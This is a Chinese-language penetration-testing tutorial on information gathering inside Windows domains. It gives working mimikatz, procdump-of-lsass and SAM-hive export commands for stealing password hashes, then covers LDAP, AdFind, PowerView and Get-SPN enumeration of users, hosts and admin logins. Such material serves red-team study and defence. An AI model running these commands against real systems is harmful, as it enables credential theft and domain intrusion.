域渗透-信息收集
域渗透-信息收集
本文的ldap部分内容也发布至朋友运维的微信公众号:https://mp.weixin.qq.com/s/t_XidiNJvBIOIkUk_jFjig
在域中,往往一些目标是我的重点关注对象,比如exchange邮件服务器,比如域控,比如运维管理员的主机,比如堡垒机,我们信息收集主要就是去获取这些关键服务器的信息
判断主机是否在域内
使用systeminfo查看
systeminfo
在域环境下会显示
通常net view 会出错,可使用其他域查询命令
net user /domain
抓取hash
mimikatz使用小技巧
#一条命令,会在当前目录下生成mimikatz.log
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
服务器上抓取
mimikatz抓hash,一般上传上去或者下载信息下来本地抓,但是上传上去后后续修改票据也可以用到mimikatz,必须要system权限才可以
mimikatz.exe "privilege::debug"
sekurlsa::logonpasswords
那么我们不是system权限,但是是administrator权限,执行失败
导出本地抓取-使用procdump
导出后本地抓取,需要system权限运行powershell或者cmd
#下载个procdump,https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
#上传procdump.exe
procdump.exe -accepteula -ma lsass.exe lsass.dmp
#拷贝lsass.dmp下来,本地运行
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonpasswords
抓取后会在当前目录生成一个lsass.dmp
之后运行将lsass.dmp复制到本地,即可
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit
导出抓取-从sam数据库提取
导出有2种方式
1.从注册表里面导出hiv
2.从C:\\System32\Config\sam
中提取
从注册表中导出
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv
将sam.hiv
和system.hiv
复制到本地运行即可
mimikatz.ex log "lsadump::sam /sam:sam.hiv /system:system.hiv" exit
跑出来结果如下
查看历史登录账号
quser
查看域分组
net group "Domain Controllers" /domain
查看域主机
net group "domain controllers" /domain
获取域控ip,记住不需要加后面的$
符号
ping DC01
查看域的密码策略
net accounts /domain
ldap查询语法
ldap是在域中独有的协议,能去查询域里面活动目录的基本信息,方便过滤有用的信息
ldap 是去查活动目录,活动目录是域控上的一个服务,正常情况下域控会开放一个389端口
,这个端口就是供域内成员获取活动目录信息的,而活动目录相当于一个数据库,他的结构是树形的,我们可以一级一级的获取信息
去查活动目录是为了摸清楚整个域内的人员和服务器架构,因为每个人员都会记录描述身份,服务器的提供服务细节等详细信息,比通常的net user /domain
之类的查询更加的详细,而我们再查询中关注的点为,用户,主机,域控,组织
在域控上运行中可使用adsiedit.msc
工具,尝试普通的域主机不能打开该服务
打开后就是如下的页面
先明确几个概念,因为用户或者主机入域都会带有他自身的信息,比如属于哪个部门,比如姓名是啥,在域内这些信息都是公开的
在这个ldap查询的活动目录里面每个标志代表信息关系如下,套用安全客https://www.anquanke.com/post/id/195100 的图片
可以看到整个活动目录是一个树结构,每个节点都有他的信息
比如bob节点,他的属性有:uid=bob,ou=people,dc=acme,dc=org
这些属性对于这个节点叫做DN,而他的本身的属性比如uid=bob
叫做RDN
而往往目录下会有3个标识,我们查询也会用到
- CN:Common Name
- OU:Organizational Unit
- DC:Domain Controller
他具有非常简单的查询语法
用与号 (&) 表示的 AND 运算符。
用竖线 (|) 表示的 OR 运算符。
用感叹号 (!) 表示的 NOT 运算符。
用名称和值表达式的等号 (=) 表示的相等比较。
用名称和值表达式中值的开头或结尾处的星号 (*) 表示的通配符。
这里拿adfind举例(后面会详细归纳几个工具),查找primaryGroupID=513 sAMAccountName=Shi.zuan的用户
./adfind.exe -f "&(sAMAccountName=Shi.zuan)(&(primaryGroupID=513)(objectcategory=person))"
其实可以从上面看到,每条记录都会有一堆属性,而我们要使用语法去检索出对应人员或主机的信息,因为一口气全跑的话,比较大的域可能有上千条记录
域内组和OU
查询域内所有组
.\AdFind.exe -s subtree -bit -f "(objectclass=group)" -dn
组
对于分组我们可以大致画一个图
我们再域内生成的账号,在第一步他会自动默认为全局组账号,之后再由管理员分配到对应的域本地组里面去
OU
ou和组是2个东西,组是一堆均有一样权限的账号的集合,OU是逻辑的账号归属划分
举个例子CN=人事部,OU=上海总部,DC=klion,DC=local
和OU=法务部,OU=上海总部,DC=klion,DC=local
这个是2个组织部门,他们的OU是不同的
那么每个部门假设都有一个网络运维人员,比如人事部是刘强,法务部是朱琳,那么这个时候刘强和朱琳在组中又是属于同一组,而OU不是同一个
域账号信息
每个域账号都有自己的信息,比如姓名,部门,描述,分组,账号创建时间,设置密码时间,上次登录时间等等,和直接的net user /domain
比起来,前者具有更加详细的信息,而后者只是将账号进行一个罗列而已
在活动目录中,登录账号是UserPrincipalName
字段和sAMAccountName
字段
域主机
域主机其实没有啥特别的信息,主要就是去定位某些电脑是做什么的,域控是哪一个ip这些作用
但是域主机有个非常有用的地方在于,域主机的objectclass是继承的user这个类,user这个类是域用户的信息,那么域主机继承了user这个类,他就具有user这个类的属性,简而言之就是域主机能登录到域服务器中,他的登录账号为 主机名$
我们往往会遇到这么一个场景登录了一台属于域环境的主机,但是当前登录的账号里面没有域账号登录记录,并且当前账号仅为本地账号
上面这个场景中有个账号通用能访问到域里面的资产,即该主机账号
举个例子,当前主机账号为Ceshi1
,为主机账号,无法访问到域
但这个ceshi1账号是administrator组的账号,可以提升到system,借助psexec提升到system权限,会显示拒绝访问
失败的原因是cmd不是管理员身份起的,再次使用管理员运行powershell或者cmd,此次的adfind同样不具备域访问凭证
使用psexec.exe提升至system权限
再次使用adfind.exe
ldap参数
从上面的例子可以看出,我们有3个参数查到这钻石这个用户,分别是sAMAccountName=Shi.zuan
,primaryGroupID=513
,objectcategory=person
这里的sAMAccountName和primaryGroupID不难看出就是钻石这个用户的属性值
而objectcategory这个参数表示该记录是属于哪一个目录的,在活动目录中有着2个比较重要的定位参数,一个叫objectcategory,另一个叫objectClass
objectClass
这个参数表示当前信息是属于哪一个类型的并且他的父类是什么,每一个记录都是一个类,有些记录在不同的目录下,但他们的数据结构相同他们也是一个类
下图这个人事部,这个"文件夹"的属性为top;organizationalUnit , 他这个类叫做organizationalUnit,他的父类叫做top
在看上海总部这个"文件夹",他的属性同样为top;organizationalUnit
那么我们再检索organizationalUnit这个类的时候,则会把相同格式属性的类("文件夹")罗列出来
objectcategory
这个参数表示当前信息是属于哪一条目录下的,像我们平时用的C:\User\Administrator\xxx 这样的目录,在活动目录中,我们同样有这样的目录,只是结构是OU=人事部,OU=上海总部,DC=klion,DC=local
,对应的可视化界面如下,其实类比过来是一样的
那么使用工具进行查询,这条参数不是上图中上放的目录,是属性中的objectcategory属性信息
上图他属性众多,为了方便有时候可用只去查他的最近的一个属性,而这个属性其实和objectclass差不多,有些可能有细微的区别
比如上图查询的"文件夹"的记录,他最后一位的dn是CN=Organizational-Unit,他的标识属性为:organizationalUnit
工具使用
ldap查询场景分为3种,域外linux发起查询
,域外windows发起查询
,域内windows发起查询
,因为域这个系统99%都是windows主机,那么在域内一般都是windows的系统
域外发起的比较鸡肋,你必须要知道一个域用户的账号密码才可以,在特定的条件下才能发挥作用。
域外linux
需要用到ldapsearch工具,在利用前需要知道dc的ip,以及一个域成员用户的账号密码
#下载
apt-get install ldap-utils
#利用方式
ldapsearch -x -H ldap://192.168.1.1:389 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123! -b "DC=test,DC=com" "(&(objectCategory=computer)(objectClass=computer))"
上面的参数, -H ldap://域控ip:389
, 已获取的其中一个域成员信息账号密码 -D "CN=testa,CN=Users,DC=test,DC=com" -w DomainUser123!
,
域外windows
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
下载使用该工具
#先引入
Import-Module PowerView.ps1
#先载入用户名和密码
$uname="testa"
$pwd=ConvertTo-SecureString "DomainUser123!" -AsPlainText –Force
$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
#查询域用户
Get-NetUser -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
#查询域主机
Get-NetComputer -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
#查询域组
Get-Netgroup -Domain test.com -DomainController 192.168.1.1 -ADSpath "LDAP://DC=test,DC=com" -Credential $cred
域内信息收集
因为已经在域内了,信息收集非常方便
powerview.ps1
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
域外使用powerview,同样域内信息收集也可以使用powerview.ps1,并且因为已经在域内了,不再需要去输入账号密码
#先引入
Import-Module PowerView.ps1
#使用只查询域用户姓名信息
Get-NetUser | fl name
因为这里已经在域内,不带-Domain
, -DomainController
等参数也能查询是因为,他默认查询当前账号所在的域的信息
如果想要全面的信息,直接使用
Get-NetUser > log.txt
其他利用
#查询主机
Get-Netcomputer
#查询组
Get-Netgroup
这里注意下查询组的结果并不和net group /domain
的结果完全一直,需要区分个概念,活动目录记录的是每台计算机或者用户的信息,他是可以编辑的相当于一个人员名册,而net group /domain
是账号的权限划分
net group /domain 的结果
ADexplorer
ADexplorer为windows下查看ldap活动目录的一个常用的图形化工具
下载方式
wget http://live.sysinternals.com/ADExplorer.exe
打开后为如图所示界面,当你与域控建立有效通讯时,直接点击ok即可用当前账号登录成功
点击放大镜使用搜索语法
Adfind
adfind是windows域环境下的一个非常常用的命令工具
他的运行参数格式如下
AdFind.exe -b [域信息] -f [过滤条件] [返回属性]
#域信息一般是 DC=xxx,DC=local 这样的形式,如果账号已经在域内可以不填,如果有多个域可以访问,则需要填写
#过滤条件 一般为ldap的查询语法,使用""进行包裹
#返回属性为我们希望展示的数据,如果不填则一并返回
这里如果要使用xxx:AND:=111 这样的形式查询对应位数的信息时,一定要加上-bit参数,如果不加-bit则不会出数据
AdFind.exe -f "(grouptype:AND:=2)" -bit
比如去查询该域下面,人员信息的邮箱信息情况
我们也可以通过-c返回总共有多少条记录
AdFind.exe -f "(objectcategory=person)" -c
查询域内所有通用组
通用组即在访问林中所有的资产,如果查询该域内的通用组,即查到的组即也可以请求其他域中的资产
.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=8))" -dn
查询域内所有全局组
全局组作用是他是一某一个域内创建的组,可以理解为刚新创一个域账号时他是属于全局组的,在域内可以登录域内主机,而它又被其他域进行了受信,即他即能访问本域的资产,又可以访问授信域的资产
.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=2))" -dn
查询域内所有域本地组
域本地组即在域内可以活动的组信息
.\AdFind.exe -s subtree -bit -f "(&(objectclass=group)(grouptype:AND:=4))" -dn
AdFind我们可以去查各种属性,当然也可用它去查路径就比如这里的图片上方的 Path这个路径
.\AdFind.exe -b OU=人事部,OU=上海总部,DC=klion,DC=local
使用-tdc
转换时间为可读时间
.\AdFind.exe -bit -f "&(objectclass=person)(sAMAccountName=Oadmin)" -tdc
没转换前是这样的时间戳
转换后
Get-SPN
https://github.com/nullbind/Powershellery/edit/master/Stable-ish/Get-SPN/Get-SPN.psm1
SPN 这个参数全称为ServicePrincipleName, 这个参数会记录即登录账号名称,但是往往在域中为了方便管理,通常会去把一些特定账号比如oa,mysql等等以服务的名字取命令登录账号。
get-spn能够快速找到域管用户登陆服务器记录和快速定位一些特殊服务器
#加载模块
Import-Module ./Get-SPN.psm1
#使用查找域管组登录过的服务
Get-SPN -type group -search "Domain Admins" -List yes | Format-Table –Autosize
#查找系统中一些特殊服务,以mssql为例
Get-SPN -type service -search "MSSQLSvc*" -List yes | Format-Table –Autosize
参考文章
https://wooyun.js.org/drops/使用LDAP查询快速提升域权限.html
https://wooyun.js.org/drops/从活动目录获取域管理员权限的各种姿势.html
https://3gstudent.github.io/渗透基础-活动目录信息的获取
https://www.anquanke.com/post/id/195100
https://www.anquanke.com/post/id/195737
https://www.anquanke.com/post/id/196510